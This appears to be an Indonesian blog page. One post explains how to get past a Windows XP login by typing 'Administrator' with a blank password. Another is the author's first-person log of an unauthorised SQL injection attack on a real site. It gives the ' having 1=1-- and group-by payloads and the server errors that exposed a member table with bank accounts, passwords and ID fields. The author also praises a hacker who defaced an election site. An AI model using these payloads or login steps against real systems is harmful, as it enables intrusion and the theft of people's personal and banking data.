Menjebol Password Login Windows XP

Semakin pesatnya dunia teknologi membuat orang-orang didunia ini tidak ingin mengalami ketertinggalan. Salah satunya ialah menguasai komputer, karena memang komputer telah menjadi sebuah kebutuhan untuk sekarang ini. Sehingga, karena terlalu pentingnya komputer pada saat sekarang ini membuat resiko kehilangan datapun semakin diperketat. Salah satunya dengan memberi password "kata kunci" untuk sistem komputer.

Pemberian "kata kunci" (selanjutnya disebut password) menjadi salah satu keamanan yang paling diandalkan untuk melindungi data-data atau informasi berharga selain dari enkripsi data. Untuk itu, banyak perusahaan-perusahaan pembuat software berlomba-lomba untuk dapat menciptakan sebuah software pelindung data seperti halnya "FolderGuard".

Namun, software-software saja dirasa masih belum cukup aman untuk melindungi data-data berharga. Selain melindungi data-data berharga, perlindungan terhadap komputer sendiri masih terus diusahakan, salah satunya ialah memberikan password login terhadap account tertentu.

Didalam tulisan ini akan dijelaskan bagaimana cara menjebol password login Windows XP dengan syarat account user biasa. Ada dua jenis bentuk login Windows XP, yaitu dengan kotak dialog dan dengan layar (screen) login.

Untuk layar (screen) login Windows XP, ikuti langkah berikut:

1. Pada saat komputer dihidupkan, muncul layar untuk login.

2. Tekan 3 tombol ajaib (Ctrl+Alt+Del) selama 2X

3. Kemudian muncul kotak dialog, pada field username ganti dengan "Administrator" (tanpa tanda kutip), password kosongkan saja.

4. Kemudian tekan Enter.

**Untuk model isian kotak dialog, langsung saja ketikkan "Administrator" dan Enter.

Untuk dipertegas kembali, teknik ini hanya untuk menjebol password login account user biasa. Jika sebelumnya sudah Administrator, cara ini tidak akan berhasil.

Artikel ini ditulis hanya untuk pengetahuan saja, bukan untuk disalahgunakan.

Blog yang menjamur

Menjamurnya blog-blog di dunia maya ini (blogspot.com, blog.com, dsb) membuat blogger-blogger diseluruh dunia mulai ingin menampilkan apa yang ada dalam benak dan pikiran mereka. Namun, masih banyak dari mereka benak dan pikirannya buntu alias kotor. Karena dengan mendapatkan web hosting gratis, mereka (sebagian dari mereka) menampilkan isi blog yang jorok, porno (karena memang isi diluar tanggung jawab penyedia)

Inilah salah satu sisi negatif dari dunia blogging. Namun kita selaku manusia yang ingin selalu menjadi yang terbaik, selalu memiliki pikiran yang jauh kedepan. Dengan isi blog yang demikian itu, apa bisa membuat kita bangga? Justru bagi saya itu adalah suatu kegagalan besar, aib yang besar. Bagi saya, blog mencerminkan kepribadian kita (orang yang membuat blog). Apakah mereka tidak malu memamerkan aib mereka sendiri ditempat umum?

Teknik SQL Injection

Ini adalah teknik SQL Injection yg saya pakai untuk meng-hack disalah satu situs. Teknik ini seperti telah digunakan oleh para hacker didunia seperti juga yang sudah pernah digunakan oleh "Dani Firmansyah (xnuxer)" yang sudah meng-hack situs KPU dan mengganti nama-nama partai didalamnya menjadi tidak karuan.

Jalannya SQL Injection yang saya pakai untuk pertama kalinya ini tadi (kamis, 5/12/2007) adl:

Target : www.dirahasiakan.com
Methode: SQL Injection
* tulis perintah ' having 1=1-- pada username untuk admin, password terserah
* tulis perintah id=2119&idm=40&idSM=2 dibelakang address bar .../login.asp?

** Pada saat dilakukan cara pertama, muncul error:
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'mlmf01.No_Anggota' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/login.asp, line 37

** Back> Lalu ketikkan ' group by mlmf01.No_Anggota having 1=1-- Enter

** Ada Error lagi, sekarang didapat:
Tabel : mlmf01
Fields : No_Anggota, Nama_Anggota, dst

** Ketikkan kode lagi sampai berulang kali:
' group by mlmf01.No_Anggota, mlmf01.Nama_Anggota, ....., ..... having 1=1--

** Setelah semuanya selesai, didapat:
' group by mlmf01.No_Anggota, mlmf01.Nama_Anggota, mlmf01.PSW, mlmf01.Al1, mlmf01.Al2, mlmf01.Al3, mlmf01.Kota, mlmf01.Propinsi, mlmf01.KodePos, mlmf01.No_ID, mlmf01.No_Tlp, mlmf01.No_HP, mlmf01.Email, mlmf01.Rek_Bank, mlmf01.Kode_Bank, mlmf01.Cabang_Bank, mlmf01.Kota_Bank, mlmf01.Nama_Nasabah, mlmf01.JK, mlmf01.Tgl_Lahir, mlmf01.Pendidikan_Akhir, mlmf01.Pekerjaan, mlmf01.Agama, mlmf01.Ibu_Kandung, mlmf01.Usia_Ibu, mlmf01.Almarhumah, mlmf01.Status_Pasangan, mlmf01.Nama_Pasangan, mlmf01.Tgl_Lahir_Pasangan, mlmf01.Hub_Ahli_Waris, mlmf01.Nama_Ahli_Waris, mlmf01.Tgl_Lahir_Waris, mlmf01.Distributor, mlmf01.No_Sponsor, mlmf01.Tgl_Join, mlmf01.Kode_Distributor, mlmf01.Distributor_Pembayar_Bonus, mlmf01.Location_Id, mlmf01.Path_Tree, mlmf01.No_Parent, mlmf01.Serial_Number, mlmf01.RecTime, mlmf01.DG, mlmf01.Expired, mlmf01.Aktif, mlmf01.Tgl_Hibah, mlmf01.No_Anggota_Penghibah, mlmf01.Pernah_Expired, mlmf01.No_Sponsor_Extra, mlmf01.Level1, mlmf01.Web, mlmf01.Aktif_Rekrut, mlmf01.Aktif_Beli_Pulsa, mlmf01.Tgl_Capai_Bns, mlmf01.No_Anggota_Ex, mlmf01.No_Anggota_Jar, mlmf01.Rek_Bank_Paralel, mlmf01.Kode_Bank_Paralel, mlmf01.Customer_Id, mlmf01.Bns_hrg_5, mlmf01.Bns_hrg_6, mlmf01.Bns_hrg_7, mlmf01.Bns_hrg_8, mlmf01.Bns_hrg_9, mlmf01.Bns_hrg_10, mlmf01.LeaderShip, mlmf01.msrepl_tran_version having 1=1--

** Dan pesan error terakhir:
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The text, ntext, and image data types cannot be compared or sorted, except when using IS NULL or LIKE operator.
/login.asp, line 37

** Setelah itu, akan dilanjutkan dengan kode berikutnya... akses putus. Wah... masih newbie sih...